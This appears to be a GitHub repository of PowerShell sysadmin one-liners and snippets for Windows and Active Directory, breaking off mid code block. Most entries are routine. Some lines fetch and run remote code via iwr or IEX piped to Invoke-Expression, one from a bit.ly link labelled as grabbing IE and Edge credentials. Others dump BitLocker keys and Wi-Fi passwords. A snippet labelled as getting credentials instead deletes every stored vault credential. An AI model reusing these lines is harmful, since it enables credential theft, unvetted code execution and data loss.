├── .vscode
└── settings.json
├── LICENSE
├── README.md
├── command-editor.html
├── commands.json
├── psreference.ps1
├── scripts
├── basic-prep.ps1
├── remote-disk-cleanup
├── start-cleanup
└── status.ps1
└── tools
└── pscmder
├── commands.txt
└── pscmder.ps1
/.vscode/settings.json:
--------------------------------------------------------------------------------
1 | {
2 | "liveServer.settings.port": 5501
3 | }
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/LICENSE:
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573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | # Powershell Reference
4 |
5 | A collection of commands, code snippets, and scripts tailored for managing and automating tasks in a Windows environment. Designed for experienced administrators, this resource delves beyond basic PowerShell usage, offering practical solutions for a variety of scenarios.
6 |
7 | You can access a number of these commands via a simple menu by running the following command. The commands are defined in `commands.json` located in this repo
8 |
9 | ```powershell
10 | Invoke-WebRequest -Uri "https://raw.githubusercontent.com/superswan/Powershell-SysAdmin/refs/heads/master/psreference.ps1" -UseBasicParsing | Invoke-Expression
11 | ```
12 |
13 | **Short Version:**
14 |
15 | ```powershell
16 | iwr 3to.moe/psr | iex
17 | ```
18 |
19 | * [Practice](#practice)
20 | * [One-Liners](#one-liners)
21 | * [Snippets](#snippets)
22 | * [Active Directory](#active-directory)
23 | * [Microsoft 365](#microsoft-365)
24 | * [Scripts](#scripts)
25 | * [Windows Defender](#windows-defender)
26 | * [Fun](#fun)
27 |
28 | #### Install Winget
29 |
30 | ```powershell
31 | Invoke-WebRequest -Uri "https://github.com/microsoft/winget-cli/releases/latest/download/Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle" -OutFile "C:\WinGet.msixbundle"
32 | Add-AppxPackage "C:\WinGet.msixbundle"
33 | Add-AppxPackage -RegisterByFamilyName -MainPackage Microsoft.Winget.Source_8wekyb3d8bbwe
34 | ```
35 |
36 | ---
37 |
38 | ## Practice
39 |
40 | Not sure if the slack channel is active usually it's the name of the exercise with a 1 at the end like `century1`
41 |
42 | [Under The Wire](https://underthewire.tech)
43 |
44 | ## Combinging Powershell output with Linux programs (WSL2)
45 |
46 | If a wsl2 distro is installed commands from the default distro can be called with `wsl` this can be combined with `Convert-To-JSON` to use common linux data-wrangling tools like `awk`, `sed`, and `grep`
47 |
48 | ```powershell
49 | get-hotfix | ConvertTo-Json | wsl jq '.[] | .HotFixID' | wsl sort
50 | ```
51 |
52 | ## One-Liners
53 |
54 | #### Execute last command (Equivalent to Bash `!!`)
55 | ```
56 | Invoke-History -Id (Get-History -Count 1).Id
57 | ```
58 |
59 | #### Close All Open Windows
60 |
61 | ```
62 | Get-Process | Where-Object { $_.MainWindowTitle } | Stop-Process
63 | ```
64 |
65 | #### Kill processes by company/vendor
66 |
67 | Like when you can't uninstall Creative Cloud
68 |
69 | ```powershell
70 | Get-Process | Where-Object {$_.Company -like "*Adobe*"} | Stop-Process -Force
71 | ```
72 |
73 | #### Get Shutdown Events
74 |
75 | ```
76 | Get-WinEvent -LogName System | Where-Object { $_.ID -eq 6006 -or $_.ID -eq 6008 -or $_.ID -eq 1074 } | Format-List -Property TimeCreated, ID, Message
77 | ```
78 |
79 | #### Get Active Directory User Info
80 |
81 | ```
82 | Get-ADUser -Filter "Name -like '*partofname*'"
83 | ```
84 |
85 | #### Get Domain Name
86 |
87 | ``$domain = []::GetCurrentDomain().Name``
88 |
89 | #### Find Domain Controller using DNS
90 |
91 | ``Resolve-DnsName -Name "_ldap._tcp.dc._msdcs.$domainName" -QueryType SRV``
92 |
93 | #### "Pong Command" - Listen for Pings. Uses WinDump.exe
94 |
95 | ``.\WinDump.exe -i 3 icmp and icmp[icmp-echoreply]=icmp-echo``
96 |
97 | #### Enable/Disable Firewall (All Profiles)
98 |
99 | ``Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False``
100 |
101 | #### Enable File and Printer Sharing
102 |
103 | ``Set-NetFirewallRule -DisplayGroup "File And Printer Sharing" -Enabled True``
104 |
105 | #### Enable Linked Connections (Administrative and regular user accounts can see the same network shares)
106 |
107 | ``reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f``
108 |
109 | #### Enable ICMP
110 |
111 | ``netsh advfirewall firewall add rule name="Allow incoming ping requests IPv4" dir=in action=allow protocol=icmpv4 ``
112 |
113 | #### Prefer IPv4 over IPv6
114 |
115 | This adjusts the IPv6 prefix policies so that IPv4 addresses are preferred (Ping, DNS Resolution, etc.). Run both commands.
116 |
117 | ``netsh int ipv6 set prefixpolicy ::ffff:0:0/96 46 4``
118 |
119 | ``netsh int ipv6 set prefixpolicy ::/0 45 6``
120 |
121 | #### Reset networking stack
122 |
123 | ``netsh int ip reset``
124 |
125 | ``netsh winsock reset``
126 |
127 | #### Forcefully open Internet Explorer
128 |
129 | ``mshta.exe "javascript:open();close();"``
130 |
131 | ### Remote Manage
132 |
133 | #### Enable RDP
134 |
135 | ``reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f``
136 |
137 | #### Set NLA
138 |
139 | ``Set-ItemProperty ‘HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\‘ -Name “UserAuthentication” -Value 1``
140 |
141 | #### Firewall Rule
142 |
143 | ``Enable-NetFirewallRule -DisplayGroup “Remote Desktop”``
144 |
145 | #### Bloatware Remover (Outdated)
146 |
147 | ``iex ((New-Object System.Net.WebClient).DownloadString('https://git.io/debloat'))``
148 |
149 | #### Remote Event Viewer
150 |
151 | `` Set-NetFirewallRule -DisplayGroup 'Remote Event Log Management' -Enabled True -PassThru``
152 |
153 | #### Update computers remotely
154 |
155 | ``Invoke-WuJob -ComputerName $Computers -Script { ipmo PSWindowsUpdate; Install-WindowsUpdate -AcceptAll -IgnoreReboot | Out-File "C:\Windows\PSWindowsUpdate.log"} -RunNow -Confirm:$false -Verbose -ErrorAction Ignore``
156 |
157 | #### Ctrl + WIN + Shift + B (GPU Reset)
158 |
159 | ``Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class Keyboard {[DllImport("user32.dll")]public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);}' ; [Keyboard]::keybd_event(0x11, 0, 0, 0); [Keyboard]::keybd_event(0x10, 0, 0, 0); [Keyboard]::keybd_event(0x5B, 0, 0, 0); [Keyboard]::keybd_event(0x42, 0, 0, 0); [Keyboard]::keybd_event(0x42, 0, 2, 0); [Keyboard]::keybd_event(0x5B, 0, 2, 0); [Keyboard]::keybd_event(0x10, 0, 2, 0); [Keyboard]::keybd_event(0x11, 0, 2, 0);``
160 |
161 | #### Get creds from IE and Edge
162 |
163 | ``powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2K75g15’)"``
164 |
165 | ```
166 | [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | ForEach {$vault.Remove($_)}
167 | ```
168 |
169 | #### Count Mailboxes based on office or chosen property
170 |
171 | ``Get-Mailbox | Group-Object -Property:Office | Select-Object name,count``
172 |
173 | #### Get all PC Names according to pattern (requires activedirectory module)
174 |
175 | `` Get-ADComputer -Filter "Name -like 'PC-*'" | Select-String -Pattern PC-\d+``
176 |
177 | #### Get all computer names
178 |
179 | ``Get-ADComputer -Filter * | Select-Object -ExpandProperty Name``
180 |
181 | #### Get computer last logon
182 |
183 | ```
184 | Get-ADComputer -Filter * -Properties Name,OperatingSystem ,lastlogontimestamp | Select Name,OperatingSystem ,@{N='lastlogontimestamp'; E={[DateTime]::FromFileTime($_.lastlogontimestamp)}}
185 | ```
186 |
187 | #### Get current logged on user
188 |
189 | `` query user /server:$SERVER``
190 |
191 | #### Get LastLogonDate/LastLogon for each computer
192 |
193 | ```
194 | Get-ADComputer -Filter * -Properties * | Sort LastLogon | Select Name, LastLogonDate,@{Name='LastLogon';Expression={[DateTime]::FromFileTime($_.LastLogon)}}
195 | ```
196 |
197 | #### Get All Disabled Users (Excluding OU)
198 |
199 | ``Search-ADAccount -AccountDisabled -UsersOnly | Where {$_.DistinguishedName -notlike "*OU=Disabled Users,OU=USERS,DC=EXAMPLE,DC=COM"}``
200 |
201 | #### Get LastLogon for User
202 |
203 | ``Get-ADUser -Identity “username” -Properties “LastLogonDate”``
204 |
205 | #### Enable Hyper-V
206 |
207 | ``Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All``
208 |
209 | #### Toggle SMBv1
210 |
211 | ``Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force``
212 |
213 | #### Enable script execution
214 |
215 | ``powershell.exe Set-ExecutionPolicy Bypass -Force``
216 |
217 | #### Retrieve Inventory of Installed Applications on remote computer (requires winget)
218 |
219 | `Invoke-Command -ComputerName COMPUTER-01 -ScriptBlock { winget list}`
220 |
221 | #### Scheduled Reboot
222 |
223 | `shutdown -r -t $([int]([datetime]"11PM"-(Get-Date)).TotalSeconds)`
224 |
225 | #### Restart Explorer
226 |
227 | ```
228 | gps explorer | spps
229 | ```
230 |
231 | #### WAC and PowerShell Remote Management
232 |
233 | ```
234 | Get-NetConnectionProfile | Set-NetConnectionProfile -NetworkCategory Private
235 | Enable-PSRemoting -force
236 | ```
237 |
238 | #### Time Sync
239 |
240 | ```
241 | w32tm /query /status
242 | w32tm /config /manualpeerlist:"time.google.com,time.cloudflare.com,time.windows.com" /syncfromflags:manual /reliable:YES /update
243 | Restart-Service w32time
244 | w32tm /resync
245 | ```
246 |
247 | ## Snippets
248 |
249 | #### Reset Windows Update
250 |
251 | ```powershell
252 | # Stop Windows Update Services
253 | Write-Host "Stopping Windows Update Services..."
254 | Stop-Service -Name wuauserv -Force -ErrorAction SilentlyContinue
255 | Stop-Service -Name cryptSvc -Force -ErrorAction SilentlyContinue
256 | Stop-Service -Name bits -Force -ErrorAction SilentlyContinue
257 | Stop-Service -Name msiserver -Force -ErrorAction SilentlyContinue
258 |
259 | # Rename SoftwareDistribution and Catroot2 Folders
260 | Write-Host "Renaming SoftwareDistribution and Catroot2 Folders..."
261 | Rename-Item -Path "C:\Windows\SoftwareDistribution" -NewName "SoftwareDistribution.old" -ErrorAction SilentlyContinue
262 | Rename-Item -Path "C:\Windows\System32\catroot2" -NewName "catroot2.old" -ErrorAction SilentlyContinue
263 |
264 | # Re-register Windows Update DLLs
265 | Write-Host "Re-registering Windows Update DLLs..."
266 | $Dlls = @(
267 | "atl.dll", "urlmon.dll", "mshtml.dll", "shdocvw.dll", "browseui.dll",
268 | "jscript.dll", "vbscript.dll", "scrrun.dll", "msxml.dll", "msxml3.dll",
269 | "msxml6.dll", "actxprxy.dll", "softpub.dll", "wintrust.dll", "dssenh.dll",
270 | "rsaenh.dll", "gpkcsp.dll", "sccbase.dll", "slbcsp.dll", "cryptdlg.dll",
271 | "oleaut32.dll", "ole32.dll", "shell32.dll", "initpki.dll", "wuapi.dll",
272 | "wuaueng.dll", "wucltui.dll", "wups.dll", "wups2.dll", "wuweb.dll",
273 | "qmgr.dll", "qmgrprxy.dll", "wucltux.dll", "muweb.dll", "wuwebv.dll"
274 | )
275 |
276 | foreach ($Dll in $Dlls) {
277 | Try {
278 | regsvr32.exe /s "C:\Windows\System32\$Dll"
279 | Write-Host "Registered $Dll"
280 | } Catch {
281 | Write-Warning "Failed to register $Dll"
282 | }
283 | }
284 |
285 | # Reset Winsock
286 | Write-Host "Resetting Winsock..."
287 | netsh winsock reset
288 |
289 | # Restart Windows Update Services
290 | Write-Host "Restarting Windows Update Services..."
291 | Start-Service -Name wuauserv -ErrorAction SilentlyContinue
292 | Start-Service -Name cryptSvc -ErrorAction SilentlyContinue
293 | Start-Service -Name bits -ErrorAction SilentlyContinue
294 | Start-Service -Name msiserver -ErrorAction SilentlyContinue
295 |
296 | Write-Host "Windows Update reset complete. You may need to restart your computer."
297 | ```
298 |
299 | #### Inventory collection script (Logon script that pushes system info to share)
300 |
301 | ```powershell
302 | $filename = Join-Path -Path \\server-name\IT-Inventory\ -ChildPath "${env:COMPUTERNAME}.txt"
303 |
304 |
305 | Get-ComputerInfo |
306 | Select-Object CsName, CsManufacturer, CsModel, BiosSeralNumber, CsProcessors, CsPhyicallyInstalledMemory, OsName, OsVersion, CsUserName |
307 | Sort-Object |
308 | out-file -FilePath $filename
309 | ```
310 |
311 | ```powershell
312 | # Get the current directory
313 | $currentDirectory = Get-Location
314 |
315 | # Define the output CSV file name
316 | $outputCsv = "$currentDirectory\output.csv"
317 |
318 | # Initialize an empty array to store the data
319 | $dataArray = @()
320 |
321 | # Loop through each file in the current directory
322 | Get-ChildItem -Path $currentDirectory -File | ForEach-Object {
323 | $file = $_.FullName
324 |
325 | # Read the file contents
326 | $content = Get-Content -Path $file
327 |
328 | # Create a hashtable to store the data for each file
329 | $dataHash = @{}
330 |
331 | # Parse each line and extract key-value pairs
332 | foreach ($line in $content) {
333 | if ($line -match "^(.*)\s+:\s+(.*)$") {
334 | $key = $matches[1].Trim()
335 | $value = $matches[2].Trim()
336 |
337 | # Add the key-value pair to the hashtable
338 | $dataHash[$key] = $value
339 | }
340 | }
341 |
342 | # Convert the hashtable to a custom object and add to the data array
343 | $dataArray += New-Object PSObject -Property $dataHash
344 | }
345 |
346 | # Define the custom column headers
347 | $columnHeaders = @{
348 | "CsName" = "Computer Name"
349 | "CsManufacturer" = "Manufacturer"
350 | "CsModel" = "Model"
351 | "BiosSeralNumber" = "BIOS Serial Number"
352 | "CsProcessors" = "Processor"
353 | "CsPhyicallyInstalledMemory" = "Physical Memory (Bytes)"
354 | "OsName" = "Operating System"
355 | "OsVersion" = "OS Version"
356 | "CsUserName" = "User Name"
357 | }
358 |
359 | # Create a new array with custom headers
360 | $customDataArray = $dataArray | Select-Object @{Name='Computer Name';Expression={$_.CsName}},
361 | @{Name='Manufacturer';Expression={$_.CsManufacturer}},
362 | @{Name='Model';Expression={$_.CsModel}},
363 | @{Name='BIOS Serial Number';Expression={$_.BiosSeralNumber}},
364 | @{Name='Processor';Expression={$_.CsProcessors}},
365 | @{Name='Physical Memory (Bytes)';Expression={$_.CsPhyicallyInstalledMemory}},
366 | @{Name='Operating System';Expression={$_.OsName}},
367 | @{Name='OS Version';Expression={$_.OsVersion}},
368 | @{Name='User Name';Expression={$_.CsUserName}}
369 |
370 | # Export the data to a CSV file
371 | $customDataArray | Export-Csv -Path $outputCsv -NoTypeInformation
372 | ```
373 |
374 | #### Dump all Bitlocker IDs and Recovery Keys from Active Directory
375 |
376 | ```powershell
377 |
378 | Import-Module ActiveDirectory
379 |
380 | $computers = Get-ADComputer -Filter * -Property Name | ForEach-Object {
381 | $recoveryKeys = Get-ADObject -Filter 'objectclass -eq "msFVE-RecoveryInformation"' -SearchBase $_.DistinguishedName -Properties 'msFVE-RecoveryPassword'
382 | foreach ($key in $recoveryKeys) {
383 | [PSCustomObject]@{
384 | ComputerName = $_.Name
385 | RecoveryKeyID = $key.Name
386 | RecoveryPassword = $key.'msFVE-RecoveryPassword'
387 | }
388 | }
389 | }
390 |
391 | $computers | Format-Table -AutoSize
392 | ```
393 |
394 | #### Batch convert HEIC to JPG (Requires ImageMagick)
395 |
396 | ```powershell
397 | Add-Type -AssemblyName System.Windows.Forms
398 | Add-Type -AssemblyName System.Drawing
399 |
400 | function Select-FolderDialog {
401 | $folderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
402 | $folderBrowser.Description = "Select the folder containing HEIC images"
403 | $result = $folderBrowser.ShowDialog()
404 | if ($result -eq [System.Windows.Forms.DialogResult]::OK) {
405 | return $folderBrowser.SelectedPath
406 | }
407 | return $null
408 | }
409 |
410 | function Select-SaveFileDialog {
411 | $saveFileDialog = New-Object System.Windows.Forms.SaveFileDialog
412 | $saveFileDialog.Filter = "PDF files (*.pdf)|*.pdf"
413 | $saveFileDialog.Title = "Save PDF As"
414 | $saveFileDialog.DefaultExt = "pdf"
415 | $result = $saveFileDialog.ShowDialog()
416 | if ($result -eq [System.Windows.Forms.DialogResult]::OK) {
417 | return $saveFileDialog.FileName
418 | }
419 | return $null
420 | }
421 |
422 | function Convert-HEICtoPDF {
423 | [System.Windows.Forms.Application]::EnableVisualStyles()
424 |
425 | $inputDir = Select-FolderDialog
426 | if (-not $inputDir) {
427 | [System.Windows.Forms.MessageBox]::Show("No folder selected. Exiting.")
428 | return
429 | }
430 |
431 | $outputPdf = Select-SaveFileDialog
432 | if (-not $outputPdf) {
433 | [System.Windows.Forms.MessageBox]::Show("No output file selected. Exiting.")
434 | return
435 | }
436 |
437 | $heicFiles = Get-ChildItem -Path $inputDir -Filter *.heic
438 | if ($heicFiles.Count -eq 0) {
439 | [System.Windows.Forms.MessageBox]::Show("No HEIC files found in the directory.")
440 | return
441 | }
442 |
443 | foreach ($file in $heicFiles) {
444 | $jpgFile = [System.IO.Path]::ChangeExtension($file.FullName, ".jpg")
445 | & magick "$($file.FullName)" "$jpgFile"
446 | }
447 |
448 | $jpgFiles = Get-ChildItem -Path $inputDir -Filter *.jpg
449 | & magick convert $jpgFiles.FullName $outputPdf
450 |
451 | [System.Windows.Forms.MessageBox]::Show("PDF created successfully at $outputPdf")
452 | }
453 |
454 | Convert-HEICtoPDF
455 | ```
456 |
457 | #### Push Updates to Remote Computers using Invoke-WuJob (PSWindowsUpdate)
458 |
459 | ```powershell
460 | $Computers = @("PC01","PM04","PC06","PC08","PC-JOAN","PC-SARA","LAWOFFICE-2","PC03","PC07")
461 | $OnlineComputers = @()
462 |
463 | foreach ($Computer in $Computers) {
464 | if (Test-Connection -ComputerName $Computer -Count 1 -Quiet) {
465 | $OnlineComputers += $Computer
466 | }
467 | else {
468 | Write-Host "$Computer is offline."
469 | }
470 | }
471 |
472 | Invoke-WuJob -ComputerName $OnlineComputers -Script {
473 | ipmo PSWindowsUpdate;
474 | Install-WindowsUpdate -AcceptAll -IgnoreReboot -MicrosoftUpdate | Out-File "C:\Windows\PSWindowsUpdate.log"
475 | } -RunNow -Confirm:$false -Verbose -ErrorAction Ignore
476 | ```
477 |
478 | #### Self-elevate script
479 |
480 | ```powershell
481 | if (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
482 | if ([int](Get-CimInstance -Class Win32_OperatingSystem | Select-Object -ExpandProperty BuildNumber) -ge 6000) {
483 | $CommandLine = "-File `"" + $MyInvocation.MyCommand.Path + "`" " + $MyInvocation.UnboundArguments
484 | Start-Process -FilePath PowerShell.exe -Verb Runas -ArgumentList $CommandLine
485 | Exit
486 | }
487 | }
488 | ```
489 |
490 | #### Get logged in users for each computer
491 |
492 | ```powershell
493 | $COMPUTER_LIST = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
494 |
495 | foreach ($COMPUTER in $COMPUTER_LIST) {
496 | echo [$COMPUTER]
497 | query user /server:$COMPUTER
498 | echo `n
499 | }
500 | ```
501 |
502 | #### Update PATH Environment Variable Dynamically
503 |
504 | Portable tools and programs are placed in a directory, loops over the directory and adds subfolders to PATH environment variable if they don't already exist.
505 |
506 | ```powershell
507 | $binPath = "C:\bin"
508 | Get-ChildItem -Path $binPath -Directory | ForEach-Object {
509 | $currentPath = [System.Environment]::GetEnvironmentVariable("PATH", "Machine")
510 | $newPath = $_.FullName
511 | If (-Not $currentPath.Contains($newPath)) {
512 | [System.Environment]::SetEnvironmentVariable("PATH", "$currentPath;$newPath", "Machine")
513 | }
514 | }
515 | ```
516 |
517 | #### Schedule Reboot
518 |
519 | ```powershell
520 | $action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -command "& {Restart-Computer -Force -wait}"'
521 | $trigger = New-ScheduledTaskTrigger -Once -At 3am
522 | $taskname = 'ScheduledReboot'
523 |
524 | $params = @{
525 | Action = $action
526 | Trigger = $trigger
527 | TaskName = $taskname
528 | }
529 |
530 | if(Get-ScheduledTask -TaskName $params.TaskName -EA SilentlyContinue) {
531 | Set-ScheduledTask @params
532 | }
533 | else {
534 | Register-ScheduledTask @params
535 | }
536 | ```
537 |
538 | #### Toggle touch screen
539 |
540 | ```powershell
541 | $TouchScreenDevices = Get-PnpDevice | Where-Object { $_.FriendlyName -like "*HID-compliant touch screen*" }
542 |
543 | foreach ($Device in $TouchScreenDevices) {
544 | if ($Device.Status -eq 'OK') {
545 | Write-Output "Disabling device: $($Device.FriendlyName)..."
546 | Disable-PnpDevice -InstanceId $Device.InstanceId -Confirm:$false
547 | } else {
548 | Write-Output "Enabling device: $($Device.FriendlyName)..."
549 | Enable-PnpDevice -InstanceId $Device.InstanceId -Confirm:$false
550 | }
551 | }
552 | ```
553 |
554 | #### List all installed software via Registry keys
555 |
556 | ```powershell
557 | $registryPaths = @(
558 | "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*",
559 | "HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"
560 | )
561 |
562 |
563 | $installedSoftware = Get-ItemProperty -Path $registryPaths |
564 | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
565 | Where-Object { $_.DisplayName -and $_.DisplayName -ne "" } |
566 | Sort-Object DisplayName
567 |
568 |
569 | $installedSoftware
570 | ```
571 |
572 | #### Get REG key of any installed program
573 |
574 | ```powershell
575 | $keys = dir HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall | where { $_.GetValueNames() -contains 'DisplayName' }
576 | $keys += dir HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall | where { $_.GetValueNames() -contains 'DisplayName' }
577 |
578 | $k = $keys | where { $_.GetValue('DisplayName') -eq 'DISPLAYNAMEHERE' }
579 | ```
580 |
581 | #### Do maintenance
582 |
583 | **Requires PatchMyPC**
584 |
585 | ```powershell
586 | # Windows Update
587 | if ((Get-Module -ListAvailable -Name PSWindowsUpdate) -eq $null)
588 | {
589 | Write-Host -ForegroundColor Yellow "Windows Update module not found, installing..."
590 | Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
591 | Install-Module -Name PSWindowsUpdate -Force
592 | }
593 |
594 | Write-Host -ForegroundColor Yellow "Getting Windows Updates..."
595 | Import-Module PSWindowsUpdate
596 | Install-WindowsUpdate -AcceptAll -IgnoreReboot
597 |
598 | # Patch Software
599 | Write-Host -ForegroundColor Yellow "Patching installed software..."
600 | & C:\Users\ITAdmin\Downloads\PatchMyPC.exe /auto -Wait
601 |
602 | # System File Check
603 | sfc /scannow
604 |
605 | # Cleanup disk
606 | cleanmgr.exe /full
607 | ```
608 |
609 | #### File organizer
610 |
611 | ```powershell
612 | # PowerShell script to organize files into subdirectories based on file type, without moving existing directories
613 | # ! Use with caution there is no confirmation or undo !
614 |
615 | # Prompt user to enter the directory path
616 | $directoryPath = Read-Host -Prompt 'Enter the directory path'
617 |
618 | # Check if the directory exists
619 | if (-Not (Test-Path $directoryPath)) {
620 | Write-Host "The directory does not exist."
621 | exit
622 | }
623 |
624 | # Define subdirectory names and file extensions
625 | $subdirectories = @{
626 | "Photos" = @("*.jpg", "*.jpeg", "*.png", "*.gif", "*.bmp", "*.tiff");
627 | "Videos" = @("*.mp4", "*.mov", "*.wmv", "*.flv", "*.avi", "*.mkv");
628 | "Documents" = @("*.doc", "*.docx", "*.pdf", "*.txt", "*.xls", "*.xlsx", "*.ppt", "*.pptx");
629 | "Bin" = @("*.exe", "*.bin", "*.dll", "*.bat", "*.msi");
630 | "Other" = @()
631 | }
632 |
633 | # Function to move files to their respective subdirectories
634 | function Move-Files {
635 | param(
636 | [string]$SubDir,
637 | [string[]]$Extensions
638 | )
639 |
640 | # Create the subdirectory if it doesn't exist
641 | $subDirPath = Join-Path $directoryPath $SubDir
642 | if (-Not (Test-Path $subDirPath)) {
643 | New-Item -Path $subDirPath -ItemType Directory | Out-Null
644 | }
645 |
646 | # Move files to the subdirectory
647 | foreach ($extension in $Extensions) {
648 | Get-ChildItem -Path $directoryPath -Filter $extension -File | Move-Item -Destination $subDirPath
649 | }
650 | }
651 |
652 | # Move files based on extensions
653 | foreach ($subDir in $subdirectories.Keys) {
654 | Move-Files -SubDir $subDir -Extensions $subdirectories[$subDir]
655 | }
656 |
657 | # Move remaining files to 'Other' directory
658 | Get-ChildItem -Path $directoryPath -File |
659 | Where-Object { $_.Extension -notin $subdirectories.Values -and !($_.PSIsContainer) } |
660 | Move-Item -Destination (Join-Path $directoryPath "Other")
661 | ```
662 |
663 | #### Dump Wireless Password For All Profiles
664 |
665 | ```powershell
666 | $profiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$_.Matches.Groups[1].Value.Trim()}
667 |
668 | foreach ($profile in $profiles) {
669 |
670 | # Get details about the profile, including the password in clear text
671 | $password = (netsh wlan show profile name=$profile key=clear) | Select-String "Key Content\W+\:(.+)$" | %{$_.Matches.Groups[1].Value.Trim()}
672 |
673 | # Print the profile name and password
674 | "SSID: $profile"
675 | "Password: $password"
676 | "-------------------------"
677 | }
678 | ```
679 |
680 | #### Winget Bulk Install
681 |
682 | https://winstall.app
683 |
684 | ```powershell
